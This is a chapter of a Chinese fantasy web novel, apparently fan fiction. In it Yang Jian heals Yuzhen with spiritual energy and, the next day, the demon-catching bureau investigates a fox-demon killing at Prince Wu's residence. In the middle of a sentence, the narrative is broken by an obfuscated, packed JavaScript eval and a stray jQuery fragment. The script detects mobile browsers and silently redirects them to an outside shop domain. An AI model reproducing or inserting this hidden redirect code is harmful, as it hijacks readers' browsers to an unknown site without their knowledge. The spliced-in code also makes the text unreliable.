长安城,捉妖司。
屋内光线昏暗,玉真盘坐在杨戬对面,感觉十分不适应。
大抵是杨戬平日于自己而言高高在上惯了,突然这么近距离接触还有点怪异。
本来玉真已经再三推辞,说自己身体无碍。
但杨戬是怎么回她的呢?
“你若出事,南极仙翁那边不好交代,况且也是给本君徒增麻烦。而且,九尾狐妖的妖力若不及时清除,你的修炼之后会更加受阻。”
玉真:“……好好好。”
事关修炼,玉真自然不敢马虎大意,被杨戬三两句就说服了。
于是就出现了接下来的一幕,玉真乖乖坐在榻上,杨戬长腿一迈也端在上首的位子,但和自己不过隔了一个人的位置。
方才玉真注意到杨戬对河机轻声细语说了些什么,河机一脸郑重其事地点点头,转身又冲霍离廷吩咐着,最终自己半推半就进了房间。
玉真突然联想到以前鹤童告诉自己,神仙为了提高自身修为,有时会进行双修。至于具体内容……鹤童则闭口不谈,细心的玉真发现一向清冷自持的师姐竟然红了耳尖。
双修?说的无非就是两个人一起修炼嘛,这有什么不好开口的?
但她跑去问南极仙翁,南极仙翁不说。半夜偷摸跑到轻竹苑问鹿童,也被他大叫着赶出门。
经过一段时间的相处,玉真觉得杨戬并非传闻的那么不尽人意,反倒有些许铁汉柔情在身上。
于是她眨眨眼,胆大包天地问道:“真君,您这是要跟我双修吗?”
杨戬先是愣了片刻,但看着玉真天真无邪的模样,只是干巴巴地回她:“……谁告诉你的?”
“告诉什么?”
“双修。”
“我师姐。”
杨戬轻挑眉梢,看不出神色,只觉得眼前的姑娘颇有意思,但还是端着一贯的语气:“那她怎么给你解释双修这两个字的?”
“没解释啊。”
“没解释?”杨戬疑惑。
“对啊,光告诉我这是一种提高修为的办法。我找了好多人想问问,但他们都不告诉我。我师兄更过分,直接把我赶出来了。”
“哦……”杨戬轻点头,抬眼时与玉真对视,“他做得对。”
玉真被杨戬的话气得说不出口,明明就是双修而已,有什么不好说的?他还帮着鹿童说上话了。
杨戬看着面前这个稚嫩的面庞,忽然记起自己竟不曾问过玉真的年岁。
据西王母所说,自己儿时顽皮,将天上的日月藏起来不肯放出。那时还没有那么多污糟事,玉帝还算个好舅舅,为了哄自己,许他年年十八。
后来他肉身成圣,早已不知道真真切切地活了多久,只记得日月星辰、沧海桑田,于他而言不过弹指一瞬。
因此杨戬也最烦别人叫他“老人家”之类的,求到他面前时听见这些他往往不想搭理,或者让这个愿望没那么灵验。
有求必应这一套在他这里可没用。
如今,玉真这番话却让他感受到了一些危机,关于年纪的,他们之间兴许有代沟。一个连双修是什么都不知道的人……很难想象玉真平日在昆仑山都是怎样过活的。
杨戬打心底里想摘下抹额,好好用天眼窥探一番,看看这个小姑娘心里、脑子里都在想些什么。
但天眼能量太强,西王母定会感应到,三令五申不要在人间施展过多法力,否则后患无穷。
杨戬揉了揉太阳穴,另一只手撑在膝头,语气无奈,还有不知如何开口的无措。毕竟这件事,总归不是他该告诉玉真的:“不是双修,给你度些灵力。”
“竟然不是吗……”
这什么语气?很遗憾吗?
杨戬没忍住笑出声,但随着灵力溢出,玉真并未察觉杨戬的笑意。
那股灵脉在玉真的四体间流动,被狐妖挖去的部分很快如雨后春笋般生长出来,渐渐填满精气。
只是,杨戬又觉察到那种微妙又熟悉的感觉,和当初在若泉一样。
模糊的画面、熟悉的声音,一步步驱使着杨戬朝记忆深处走去,变得越来越清晰。杨戬只觉得自己如同浑水中艰难溯游的鱼,逆流而上、不明前路。
还未待他深究,杨戬心口一痛,喉间涌上一股腥甜。他急忙调转功力压下呼之欲出的血液,硬生生忍着度完最后一段灵力。
彼时的玉真早已在浓郁的灵力气息中沉沉睡去,丧失的精气已被填不上,这一觉她会睡得很安稳。
杨戬避开捉妖司其他人的视线,踱步到后山的树林中,将血尽数吐出。衣袖上不小心沾染的血痕并未被他快速抹去,而是细细端详许久。
本是金刚不灭身,为何还会有……内伤?自从肉身成圣,杨戬已经几千年未曾见过自己皮肉下流淌的鲜血了。
夜凉如水,长安城随之沉睡。帝国的时间凝聚在此刻,等待一个未解之谜的答案。
***
次日,河机召集捉妖司众人例行早会,杨戬和玉真也在列。
“今早京兆府衙署接到报案,与宗正寺一同查办案情,咱们捉妖司也奉命参与。”
能同时惊动京兆府和宗正寺,必然是哪些皇亲国戚出了大问题。皇帝雷霆震怒,要求彻查此案,定是那九尾狐妖从中作梗。
“吴王殿下府上的贵客窦恒,被发现惨死在府上,容貌尽毁,被吸干了精气。根据昨夜的调查,基本确定是狐妖所为不假。”
众人马不停蹄赶到吴王府时,府邸已经被围了个水泄不通。詹德惠立于庭前,吩咐下属认真查证,将尸首先带回京兆府妥善安置。
窦氏族人愤恨地冲向詹德惠,没来得及近身就被侍卫拦住。窦恒那上了年纪的老母也一改往日雍容华贵的打扮,妻妾们哭得梨花带雨,要求让窦恒入土为安。
詹德惠不下令,京兆府不放人,一层一层拦着。
即使詹德惠早就下令,安抚了窦氏一番,还是有人走漏风声,说窦恒的尸首验尸后定会不完整,气得窦老太爷险些怒火攻心晕过去。
侍卫凑到詹德惠身边小声询问:“詹少尹,捉妖司那边来人了。”
闻言,詹德惠终于望向人群外的一点。河机正站在马车前,身后跟着一队人。
“老相识啊。”詹德惠命下属将人请进来。
侍卫们费了九牛二虎之力,终于避开撕心裂肺的窦氏族人,将捉妖司一干人妥善请进吴王府。
彼时,吴王已经带着家眷们在皇帝的授意下进宫了,以免狐妖重新作乱再次伤人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17963685|212346||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
府上除了京兆府、宗正寺的查办官员,以及捉妖司,除此之外再无旁人。
“身为捉妖司主事,河机,你查案不利,纵容妖怪作恶伤人,陛下竟还没有废了你的官职,倒真是让我大开眼界。”詹德惠出言讥讽。
河机不吃这一套,又像是已经习惯了这些冷嘲热讽,淡淡道:“少尹可以责怪我办事不利,但纵容之名未免过重了,河某担不起。”
“哼,油嘴滑舌。”詹德惠甩袖走到河机身侧,两人错位相言,“倘若所有人都如同你这般,案子何时才能破得了?你也不动脑子想想?”
“我就该向陛下进言,好好治你的罪!”
玉真听着这话十分刺耳,河机的付出她也是看在眼里的。
自从知道此案与狐妖有着密不可分的关系,河机便废寝忘食地翻阅案宗和各类典籍,试图挖掘一些蛛丝马迹。
但詹德惠不明情形就嘲讽起来,言语间更是有要弹劾河机之意,未免也太站着说话不腰疼了些。
“你——”玉真刚想帮腔,就被杨戬勾住衣服往一旁带,像一只毫无还手之力的小鸡仔。
詹德惠听到这边的动静,满脸不屑:“新来的?是个生面孔。不过初生牛犊不怕虎啊,还想帮你说说话?不自量力……”
河机略微侧头,看着逐渐远去的两人,心中倒是平静许多。他提前让霍离廷支开了徐听风这个爱冲动的,竟把玉真忘了。
“你方才要做什么?”杨戬手指一让,松开玉真的脖领,玉真就这么被堵在墙角,眼前是杨戬宽阔的胸膛。
“那人说话忒难听了些,他明明什么都不知道就开始瞎说!”
“那你激动什么?要替河机打他?”杨戬歪头,想的都是刚才玉真一腔热血要冲锋在前的画面,“君子六艺知道吗?詹德惠虽是文官,但也会剑。”
“你们并不相识,倘若他趁着河机没反应时动手,你小命不保。”
“……他们之间有一些不为人知的私人恩怨,静观其变,莫要节外生枝。”
玉真虽然替河机愤愤不平,但平复心情后冷静思考觉得杨戬所言在理。
自己连自保的能力都没有,就要替别人出头。没出事还好,万一失控又要给别人添麻烦了。
打发完詹德惠的河机沿着两人不见踪影的路一道跟来,就瞅见玉真低头搓衣角:“玉真姑娘不必担忧,这话他说了多少年也没真的对我出过手,别放在心上。”
玉真点点头。
众人皆忙着调查现场,河机说什么也要让杨戬同玉真休息休息,意思是两人昨夜已经过于操劳,玉真还受了伤,他心里过意不去。
依旧顽强干活的徐听风听见这话长叹一口气:“什么时候我也能被爱护一下啊……”
玉真躲在一边看着穿梭在眼前的人流,不禁问杨戬:“真君,我什么时候能修炼到您十分之一的境界啊?”
法力越强,她就越能帮到别人了吧。
“多干实事,少问这些虚头巴脑的。”
“……”
杨戬察觉到玉真的失落,终究不忍继续打击她的自信心。
“只要潜心修炼一定会学有所成,不必急于一时,更不必与任何人比较。”
“本君也一样。”